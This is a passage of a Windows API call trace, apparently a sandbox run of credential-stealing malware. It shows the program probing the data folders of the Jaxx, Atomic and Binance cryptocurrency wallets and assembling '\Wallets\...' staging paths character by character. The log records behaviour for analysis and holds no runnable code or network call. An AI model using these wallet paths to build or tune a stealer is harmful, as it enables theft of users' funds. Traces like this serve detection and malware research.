[0055.116] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d9f8, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9f8 | out: hHeap=0x670000) returned 1
[0055.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x6704c8
[0055.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704c8, cbMultiByte=92, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 92
[0055.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb8) returned 0xe055320
[0055.116] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704c8, cbMultiByte=92, lpWideCharStr=0xe055320, cchWideChar=92 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\") returned 92
[0055.116] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc0) returned 0xe0553e0
[0055.116] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.116] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\com.liberty.jaxx\\indexeddb\\file__0.indexeddb.leveldb")) returned 0xffffffff
[0055.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe0553e0 | out: hHeap=0x670000) returned 1
[0055.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704c8 | out: hHeap=0x670000) returned 1
[0055.117] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.117] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.117] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.117] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.117] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.117] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.117] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.117] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.117] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.117] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Jaxx_Desktop" | out: lpString1="\\Wallets\\Jaxx_Desktop") returned="\\Wallets\\Jaxx_Desktop"
[0055.117] lstrcatA (in: lpString1="\\Wallets\\Jaxx_Desktop", lpString2="\\" | out: lpString1="\\Wallets\\Jaxx_Desktop\\") returned="\\Wallets\\Jaxx_Desktop\\"
[0055.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67d998
[0055.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d998, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d998 | out: hHeap=0x670000) returned 1
[0055.117] lstrcatA (in: lpString1="\\Wallets\\Jaxx_Desktop\\", lpString2="" | out: lpString1="\\Wallets\\Jaxx_Desktop\\") returned="\\Wallets\\Jaxx_Desktop\\"
[0055.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67da28
[0055.117] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67da28, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.117] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da28 | out: hHeap=0x670000) returned 1
[0055.117] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x6704c8
[0055.117] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\com.liberty.jaxx\\indexeddb\\file__0.indexeddb.leveldb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704c8 | out: hHeap=0x670000) returned 1
[0055.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.118] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67daf8
[0055.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67daf8, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67daf8 | out: hHeap=0x670000) returned 1
[0055.118] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x6704c8
[0055.118] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Jaxx_Desktop\\" | out: lpString1="\\Wallets\\Jaxx_Desktop\\") returned="\\Wallets\\Jaxx_Desktop\\"
[0055.118] lstrlenA (lpString="/Wallets/Jaxx_Desktop/") returned 22
[0055.118] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\com.liberty.jaxx\\indexeddb\\file__0.indexeddb.leveldb"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704c8 | out: hHeap=0x670000) returned 1
[0055.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db60 | out: hHeap=0x670000) returned 1
[0055.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67efa8 | out: hHeap=0x670000) returned 1
[0055.119] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.119] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67efa8
[0055.119] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.119] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db18
[0055.119] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67db50
[0055.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db50, cbMultiByte=71, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71
[0055.119] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x6704a0
[0055.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db50, cbMultiByte=71, lpWideCharStr=0x6704a0, cchWideChar=71 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\atomic\\Local Storage\\leveldb\\*.*") returned 71
[0055.119] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0xe055320
[0055.119] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.119] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\atomic\\Local Storage\\leveldb\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\atomic\\local storage\\leveldb\\*.*"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
[0055.119] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.119] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67dba8
[0055.119] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0055.119] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.119] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67da38
[0055.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67da38, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.119] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da38 | out: hHeap=0x670000) returned 1
[0055.120] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67db50
[0055.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.120] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67da68
[0055.120] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67da68, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.120] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da68 | out: hHeap=0x670000) returned 1
[0055.120] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x6704a0
[0055.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=68, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68
[0055.120] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x88) returned 0x6704f8
[0055.120] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6704a0, cbMultiByte=68, lpWideCharStr=0x6704f8, cchWideChar=68 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\atomic\\Local Storage\\leveldb\\") returned 68
[0055.120] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0xe055320
[0055.120] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704f8 | out: hHeap=0x670000) returned 1
[0055.120] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\atomic\\Local Storage\\leveldb\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\atomic\\local storage\\leveldb")) returned 0xffffffff
[0055.120] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.120] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.120] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.120] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.120] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.120] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.120] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.120] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.120] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.121] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.121] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.121] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Atomic" | out: lpString1="\\Wallets\\Atomic") returned="\\Wallets\\Atomic"
[0055.121] lstrcatA (in: lpString1="\\Wallets\\Atomic", lpString2="\\" | out: lpString1="\\Wallets\\Atomic\\") returned="\\Wallets\\Atomic\\"
[0055.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67da88
[0055.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67da88, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da88 | out: hHeap=0x670000) returned 1
[0055.121] lstrcatA (in: lpString1="\\Wallets\\Atomic\\", lpString2="" | out: lpString1="\\Wallets\\Atomic\\") returned="\\Wallets\\Atomic\\"
[0055.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67d958
[0055.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d958, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d958 | out: hHeap=0x670000) returned 1
[0055.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x6704a0
[0055.121] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\atomic\\Local Storage\\leveldb\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\atomic\\local storage\\leveldb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0055.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1
[0055.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1) returned 0x67d9a8
[0055.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x67d9a8, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1
[0055.121] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9a8 | out: hHeap=0x670000) returned 1
[0055.121] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x6704a0
[0055.121] lstrcpyA (in: lpString1=0x19a050, lpString2="\\Wallets\\Atomic\\" | out: lpString1="\\Wallets\\Atomic\\") returned="\\Wallets\\Atomic\\"
[0055.121] lstrlenA (lpString="/Wallets/Atomic/") returned 16
[0055.121] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\atomic\\Local Storage\\leveldb\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\atomic\\local storage\\leveldb"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
[0055.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dba8 | out: hHeap=0x670000) returned 1
[0055.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67efa8 | out: hHeap=0x670000) returned 1
[0055.122] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x199db8 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0055.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67efa8
[0055.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db18
[0055.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x47) returned 0x67db50
[0055.122] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0055.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db50, cbMultiByte=61, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 61
[0055.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7a) returned 0x6704a0
[0055.122] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db50, cbMultiByte=61, lpWideCharStr=0x6704a0, cchWideChar=61 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\app-store.json") returned 61
[0055.122] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0xe055320
[0055.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.123] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\app-store.json" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\binance\\app-store.json"), lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="P", cAlternateFileName="")) returned 0xffffffff
[0055.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0xe055320 | out: hHeap=0x670000) returned 1
[0055.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x67db18
[0055.123] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x199ef0 | out: lpFindFileData=0x199ef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f06588, dwReserved1=0xa902c54a, cFileName="P", cAlternateFileName="")) returned 0
[0055.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db50 | out: hHeap=0x670000) returned 1
[0055.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67d938
[0055.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67d938, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d938 | out: hHeap=0x670000) returned 1
[0055.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db40
[0055.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67daf8
[0055.123] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67daf8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.123] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67daf8 | out: hHeap=0x670000) returned 1
[0055.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x67db78
[0055.123] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db78, cbMultiByte=48, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 48
[0055.123] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x6704a0
[0055.124] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67db78, cbMultiByte=48, lpWideCharStr=0x6704a0, cchWideChar=48 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\P") returned 48
[0055.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x670508
[0055.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6704a0 | out: hHeap=0x670000) returned 1
[0055.124] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Binance\\P" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\binance\\p")) returned 0xffffffff
[0055.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x670508 | out: hHeap=0x670000) returned 1
[0055.124] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db78 | out: hHeap=0x670000) returned 1
[0055.124] lstrcatA (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\"
[0055.124] lstrcatA (in: lpString1="\\", lpString2="W" | out: lpString1="\\W") returned="\\W"
[0055.124] lstrcatA (in: lpString1="\\W", lpString2="a" | out: lpString1="\\Wa") returned="\\Wa"
[0055.124] lstrcatA (in: lpString1="\\Wa", lpString2="l" | out: lpString1="\\Wal") returned="\\Wal"
[0055.124] lstrcatA (in: lpString1="\\Wal", lpString2="l" | out: lpString1="\\Wall") returned="\\Wall"
[0055.124] lstrcatA (in: lpString1="\\Wall", lpString2="e" | out: lpString1="\\Walle") returned="\\Walle"
[0055.124] lstrcatA (in: lpString1="\\Walle", lpString2="t" | out: lpString1="\\Wallet") returned="\\Wallet"
[0055.124] lstrcatA (in: lpString1="\\Wallet", lpString2="s" | out: lpString1="\\Wallets") returned="\\Wallets"
[0055.124] lstrcatA (in: lpString1="\\Wallets", lpString2="\\" | out: lpString1="\\Wallets\\") returned="\\Wallets\\"
[0055.124] lstrcatA (in: lpString1="\\Wallets\\", lpString2="Binance Desktop" | out: lpString1="\\Wallets\\Binance Desktop") returned="\\Wallets\\Binance Desktop"
[0055.124] lstrcatA (in: lpString1="\\Wallets\\Binance Desktop", lpString2="\\" | out: lpString1="\\Wallets\\Binance Desktop\\") returned="\\Wallets\\Binance Desktop\\"
[0055.124] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2
[0055.124] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x2) returned 0x67dab8
[0055.125] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="P", cchWideChar=2, lpMultiByteStr=0x67dab8, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="P", lpUsedDefaultChar=0x0) returned 2
[0055.125] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67dab8 | out: hHeap=0x670000) returned 1
[0055.125] lstrcatA (in: lpString1="\\Wallets\\Binance Desktop\\", lpString2="P" | out: lpString1="\\Wallets\\Binance Desktop\\P") returned="\\Wallets\\Binance Desktop\\P"
